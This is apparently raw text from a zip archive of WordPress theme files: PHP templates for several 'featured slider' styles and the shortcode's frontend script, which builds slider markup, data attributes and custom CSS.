		                                'label' 	=> $cspost_cpost_meta_label,
		                                'divider' 	=> $cspost_cpost_meta_divider,
	                                ] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </div>
            </div>

        </div>

		<?php if ( $i == ( $num_posts - 2 ) || $num_posts < 3 ): echo '</div></div><div class="penci-featured-items-right">'; endif; ?>

		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>

<?php endif; ?>
PK     /w\    3  js_composer/shortcodes/featured_slider/style-18.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 3 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal';endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 5 == 3 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\T    2  js_composer/shortcodes/featured_slider/style-4.phpnu [        <?php
/**
 * Template part for Slider Style 4
 */

$post_thumb_size = $post_thumb_size ? $post_thumb_size : 'penci-magazine-slider';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_mobile_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_mobile_size ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_mobile_size : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
        <div class="penci-slider4-overlay">
            <a class="overlay-link"
               aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
               href="<?php the_permalink(); ?>"></a>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                    <div class="featured-slider-overlay"></div>
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                        <div class="feat-meta">
							<?php if ( $show_meta_author ): ?>
                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
							<?php endif; ?>
							<?php if ( ! $meta_date_hide ): ?>
                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
							<?php if ( ! $hide_meta_comment ): ?>
                                <span class="feat-comments"><a
                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
							<?php endif; ?>
	                        <?php echo penci_show_custom_meta_fields( [
		                        'validator' => $cspost_enable,
		                        'keys'      => $cspost_cpost_meta,
		                        'acf'       => $cspost_cpost_acf_meta,
		                        'label' 	=> $cspost_cpost_meta_label,
		                        'divider' 	=> $cspost_cpost_meta_divider,
	                        ] ); ?>
                            <?php do_action( 'penci_extra_meta' ); ?>
                        </div>
					<?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\@    2  js_composer/shortcodes/featured_slider/style-6.phpnu [        <?php
/**
 * Template part for Slider Style 6
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				if ( $i % 3 == 1 ): $thumb = $bpost_thumb_size; endif;

					$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 1 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
                    <?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => $cspost_enable,
		                                    'keys'      => $cspost_cpost_meta,
		                                    'acf'       => $cspost_cpost_acf_meta,
		                                    'label' 	=> $cspost_cpost_meta_label,
		                                    'divider' 	=> $cspost_cpost_meta_divider,
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\c/  c/  3  js_composer/shortcodes/featured_slider/frontend.phpnu [        <?php
$responsive_spacing = $cspost_enable = $cspost_cpost_meta = $cspost_cpost_acf_meta = $cspost_cpost_meta_label = $cspost_cpost_meta_divider = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'featured_pslider' );

$query_args = penci_build_args_query( $atts['build_query'] );
$feat_query = new \WP_Query( $query_args );

if ( ! $feat_query->have_posts() ) {
	if ( is_user_logged_in() ) {
		echo '<div class="penci-missing-settings">';
		echo '<span>Featured Slider</span>';
		echo penci_get_setting( 'penci_ajaxsearch_no_post' );
		echo '</div>';
	}
}
$slider_style = $atts['style'] ? $atts['style'] : 'style-1';

$slider_class = $slider_style;
if ( $slider_style == 'style-5' ) {
	$slider_class = 'style-4 style-5';
} elseif ( $slider_style == 'style-30' ) {
	$slider_class = 'style-29 style-30';
} elseif ( $slider_style == 'style-36' ) {
	$slider_class = 'style-35 style-36';
}

if ( $atts['enable_flat_overlay'] && in_array( $slider_style, array(
		'style-6',
		'style-7',
		'style-8',
		'style-9',
		'style-10',
		'style-11',
		'style-12',
		'style-13',
		'style-14',
		'style-15',
		'style-16',
		'style-17',
		'style-18',
		'style-19',
		'style-20',
		'style-21',
		'style-22',
		'style-23',
		'style-24',
		'style-25',
		'style-26',
		'style-27',
		'style-28'
	) ) ) {
	$slider_class .= ' penci-flat-overlay';
}

$disable_lazyload    = 'yes' == $atts['disable_lazyload_slider'];
$slider_title_length = $atts['title_length'] ? $atts['title_length'] : 12;
$center_box          = 'yes' == $atts['center_box'];
$meta_date_hide      = 'yes' == $atts['meta_date_hide'];
$hide_categories     = 'yes' == $atts['hide_categories'];
$show_cat            = 'yes' == $atts['show_cat'];
$hide_meta_comment   = 'yes' == $atts['hide_meta_comment'];
$show_meta_author    = 'yes' == $atts['show_meta_author'];
$hide_meta_excerpt   = 'yes' == $atts['hide_meta_excerpt'];
$hide_format_icons   = 'yes' == $atts['hide_format_icons'];

$post_thumb_size        = $atts['post_thumb_size'];
$bpost_thumb_size       = $atts['bpost_thumb_size'];
$post_thumb_size_mobile = $atts['post_thumb_size_mobile'];

$slider_data = 'data-style="' . $slider_style . '"';
$slider_data .= ' data-auto="' . ( 'yes' == $atts['autoplay'] ? 'true' : 'false' ) . '"';
$slider_data .= ' data-autotime="' . ( $atts['auto_time'] ? intval( $atts['auto_time'] ) : '4000' ) . '"';
$slider_data .= ' data-speed="' . ( $atts['speed'] ? intval( $atts['speed'] ) : '600' ) . '"';
$slider_data .= ' data-loop="' . ( 'yes' == $atts['loop'] ? 'true' : 'false' ) . '"';
$slider_data .= ' data-ceffect="' . $atts['carousel_slider_effect'] . '"';
$slider_data .= ' data-seffect="' . $atts['single_slider_effect'] . '"';

if ( $slider_style == 'style-7' || $slider_style == 'style-8' ) {
	$slider_data .= ' data-item="4" data-desktop="4" data-tablet="2" data-tabsmall="1"';
} elseif ( $slider_style == 'style-9' || $slider_style == 'style-10' ) {
	$slider_data .= ' data-item="3" data-desktop="3" data-tablet="2" data-tabsmall="1"';
} elseif ( $slider_style == 'style-11' || $slider_style == 'style-12' ) {
	$slider_data .= ' data-item="2" data-desktop="2" data-tablet="2" data-tabsmall="1"';
} elseif ( in_array( $slider_style, array( 'style-35', 'style-37' ) ) ) {
	$data_next_prev = 'yes' == $atts['shownav'] ? 'true' : 'false';
	$data_dots      = 'yes' == $atts['showdots'] ? 'true' : 'false';
	$slider_data    .= ' data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';
}
$slider_lib = 'penci-owl-featured-area';

$slider_lib .= ' elsl-' . $slider_style;

$swiper = true;

if ( $slider_style == 'style-40' ) {
	wp_enqueue_script( 'ff40' );
	wp_enqueue_script( 'gsap' );
	$slider_lib .= ' no-df-swiper';
	$swiper     = false;
}

if ( $slider_style == 'style-41' || $slider_style == 'style-42' || $slider_style == 'style-44' ) {
	$slider_lib .= ' no-df-swiper';
	$swiper     = false;
}

if ( $swiper ) {
	$slider_lib .= ' swiper penci-owl-carousel';
}
?>
    <div id="<?php echo esc_attr( $block_id ) ?>">
		<?php
		echo '<div class="penci-block-el featured-area featured-' . $slider_class . '">';
		if ( $slider_style == 'style-37' ):
			echo '<div class="penci-featured-items-left">';
		endif;
		echo '<div class="' . $slider_lib . ' penci-owl-featured-area elsl-' . $slider_class . '"' . $slider_data . '>';
		if ( $swiper ) {
			if ( 'yes' == $atts['shownav'] ) {
				echo '<div class="penci-owl-nav"><div class="owl-prev"><i class="penciicon-left-chevron"></i></div><div class="owl-next"><i class="penciicon-right-chevron"></i></div></div>';
			}
			echo '<div class="swiper-wrapper">';
		}
		include dirname( __FILE__ ) . "/{$slider_style}.php";
		if ( $swiper && $slider_style != 'style-37' ) {
			echo '</div>';
		}
		echo '</div>';
		echo '</div>';
		?>
    </div>
<?php
$block_id_css = '#' . $block_id;
$css_custom   = '';

if ( ! empty( $atts['img_border_radius'] ) ) {
	$css_custom .= $block_id_css . ' .penci-slider38-overlay,';
	$css_custom .= $block_id_css . ' .featured-style-29 .featured-slider-overlay,';
	$css_custom .= $block_id_css . ' .featured-area .penci-slide-overlay .overlay-link,';
	$css_custom .= $block_id_css . ' .featured-area .penci-image-holder';
	$css_custom .= $block_id_css . ' .featured-area .penci-image-holder{ border-radius: ' . esc_attr( $atts['img_border_radius'] ) . ';-webkit-border-radius: ' . esc_attr( $atts['img_border_radius'] ) . '; }';

	$css_custom .= $block_id_css . ' .penci-featured-content-right:before{border-top-right-radius: ' . esc_attr( $atts['img_border_radius'] ) . ';border-bottom-right-radius: ' . esc_attr( $atts['img_border_radius'] ) . '; }';
	$css_custom .= $block_id_css . ' .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ border-bottom-left-radius: ' . esc_attr( $atts['img_border_radius'] ) . ';border-bottom-right-radius: ' . esc_attr( $atts['img_border_radius'] ) . '; }';
}

if ( ! empty( $atts['img_ratio'] ) ) {
	$css_custom .= $block_id_css . ' .penci-owl-carousel:not(.elsl-style-19):not(.elsl-style-27) .penci-image-holder{ height: auto !important; }';
	$css_custom .= $block_id_css . ' .penci-owl-carousel:not(.elsl-style-19):not(.elsl-style-27) .penci-image-holder:before{ content:"";padding-top:' . esc_attr( $atts['img_ratio'] ) . ';height: auto; }';

	$css_custom .= $block_id_css . ' .featured-style-13 .penci-owl-carousel .penci-item-1 .penci-image-holder:before{ padding-top:calc( ' . esc_attr( $atts['img_ratio'] ) . ' / 2 ); }';
	$css_custom .= $block_id_css . ' .featured-style-15 .penci-owl-carousel .penci-item-2 .penci-image-holder:before{ padding-top:calc( ' . esc_attr( $atts['img_ratio'] ) . ' / 2 ); }';
	$css_custom .= $block_id_css . ' .featured-style-25 .penci-owl-carousel .penci-item-1 .penci-image-holder:before{ padding-top:calc( ' . esc_attr( $atts['img_ratio'] ) . ' * 3/2 ); }';
}

// Title
if ( ! empty( $atts['title_color'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text-right h3,';
	$css_custom .= $block_id_css . ' .feat-text-right h3 a,';
	$css_custom .= $block_id_css . ' .feat-text h3 a,';
	$css_custom .= $block_id_css . ' .feat-text h3{ color:' . esc_attr( $atts['title_color'] ) . ' !important; }';
}

if ( ! empty( $atts['title_hcolor'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text h3 a:hover,';
	$css_custom .= $block_id_css . ' .feat-text-right h3 a:hover{ color:' . esc_attr( $atts['title_hcolor'] ) . ' !important; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['ptitle_fsize'],
	'font_style' => 'yes' == $atts['use_ptitle_typo'] ? $atts['ptitle_typo'] : '',
	'template'   => "{$block_id_css} .feat-text h3, {$block_id_css} .feat-text h3 a,{$block_id_css} .feat-text-right h3, {$block_id_css} .feat-text-right h3 a{ %s }",
) );
if ( ! empty( $atts['bptitle_fsize'] ) ) {
	$css_custom .= $block_id_css . ' .featured-area .penci-pitem-big .feat-text h3,';
	$css_custom .= $block_id_css . ' .featured-area .penci-pitem-big .feat-text h3 a{ color:' . esc_attr( $atts['bptitle_fsize'] ) . ' !important; }';
}

// Category
if ( ! empty( $atts['pcat_color'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text .featured-cat a,';
	$css_custom .= $block_id_css . ' .featured-style-35 .featured-cat a{ color:' . esc_attr( $atts['pcat_color'] ) . ' !important; }';
}

if ( ! empty( $atts['pcat_hcolor'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text .featured-cat a:hover,';
	$css_custom .= $block_id_css . ' .featured-style-35 .featured-cat a:hover{ color:' . esc_attr( $atts['pcat_color'] ) . ' !important; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['pcat_fsize'],
	'font_style' => 'yes' == $atts['use_pcat_typo'] ? $atts['pcat_typo'] : '',
	'template'   => "{$block_id_css} .feat-text .featured-cat a, {$block_id_css} .featured-style-35 .featured-cat a{ %s }",
) );

// Meta
if ( ! empty( $atts['pmeta_color'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text .feat-meta span,';
	$css_custom .= $block_id_css . ' .feat-text .feat-meta a,';
	$css_custom .= $block_id_css . ' .featured-content-excerpt .feat-meta span,';
	$css_custom .= $block_id_css . ' .featured-content-excerpt .feat-meta span a{ color:' . esc_attr( $atts['pmeta_color'] ) . ' !important; }';
}

if ( ! empty( $atts['pmeta_hcolor'] ) ) {
	$css_custom .= $block_id_css . ' .feat-text .feat-meta a:hover,';
	$css_custom .= $block_id_css . ' .featured-content-excerpt .feat-meta span a:hover{ color:' . esc_attr( $atts['pmeta_hcolor'] ) . ' !important; }';
}

$pmeta_custom_markup = $block_id_css . ' .feat-text .feat-meta span,';
$pmeta_custom_markup .= $block_id_css . ' .feat-text .feat-meta a,';
$pmeta_custom_markup .= $block_id_css . ' .featured-content-excerpt .feat-meta span,';
$pmeta_custom_markup .= $block_id_css . ' .featured-content-excerpt .feat-meta span a';

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['pmeta_fsize'],
	'font_style' => 'yes' == $atts['use_pmeta_typo'] ? $atts['pmeta_typo'] : '',
	'template'   => $pmeta_custom_markup . "{ %s }",
) );

// Excerpt
if ( ! empty( $atts['pexcerpt_color'] ) ) {
	$css_custom .= $block_id_css . ' .featured-content-excerpt p';
	$css_custom .= $block_id_css . ' .featured-slider-excerpt p{ color:' . esc_attr( $atts['pexcerpt_color'] ) . ' !important; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['pexcerpt_fsize'],
	'font_style' => $atts['use_pexcerpt_typo'] ? $atts['pexcerpt_typo'] : '',
	'template'   => "{$block_id_css} .featured-content-excerpt p, {$block_id_css} .featured-slider-excerpt p{ %s }",
) );

//  Read More
if ( ! empty( $atts['readmore_color'] ) ) {
	$css_custom .= $block_id_css . ' .penci-featured-slider-button a{ color:' . esc_attr( $atts['readmore_color'] ) . ' !important;border-color:' . esc_attr( $atts['readmore_color'] ) . ' !important; }';
}

if ( ! empty( $atts['readmore_hcolor'] ) ) {
	$css_custom .= $block_id_css . ' .penci-featured-slider-button a:hover{ color:' . esc_attr( $atts['readmore_hcolor'] ) . ' !important; }';
}
if ( ! empty( $atts['readmore_hbgcolor'] ) ) {
	$css_custom .= $block_id_css . ' .penci-featured-slider-button a:hover{ border-color:' . esc_attr( $atts['readmore_hbgcolor'] ) . ' !important;background-color:' . esc_attr( $atts['readmore_hbgcolor'] ) . ' !important; }';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['readmore_fsize'],
	'font_style' => $atts['use_readmore_typo'] ? $atts['readmore_typo'] : '',
	'template'   => "{$block_id_css} .penci-featured-slider-button a{ %s }",
) );

if ( isset( $atts['speed'] ) && $atts['speed'] ) {
	$delay_time = $atts['speed'] / 1000 - 0.2;
	$css_custom .= $block_id_css . ' .penci-owl-carousel{--pcfs-delay:' . $delay_time . 's;}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $responsive_spacing );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $block_id_css, $atts );


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     /w\܎_&    3  js_composer/shortcodes/featured_slider/style-44.phpnu [        <?php
/**
 * Template part for Slider Style 44
 */
$image_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();

$data_attr = '';
$data_attr .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
$data_attr .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
$data_attr .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
$data_attr .= ' data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
?>
<div class="penci-slider44-wrapper">
    <div class="penci-slider44-thumb-wrapper">
        <div class="penci-slider44-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="5"
             data-direction="vertical" data-desktop="4" data-tablet="2" data-mobile="2" data-margin="15"
             data-id="<?php echo $thumb_id; ?>"
             <?php echo $data_attr; ?>
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider44-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                        <div class="penci-slider44-t-item">

                            <div class="pcslider-44-img">
                                <div class="penci-image-holder"
                                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                                     href="<?php the_permalink(); ?>"
                                     title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                            </div>
                            <div class="pcslider-44-ct">
                                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                            </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider44-main-wrapper">
        <div class="penci-slider44-main penci-owl-carousel penci-owl-carousel-slider swiper" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-direction="vertical"
             data-id="<?php echo $main_id; ?>" <?php echo $data_attr; ?>>
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider44-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
                                    <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
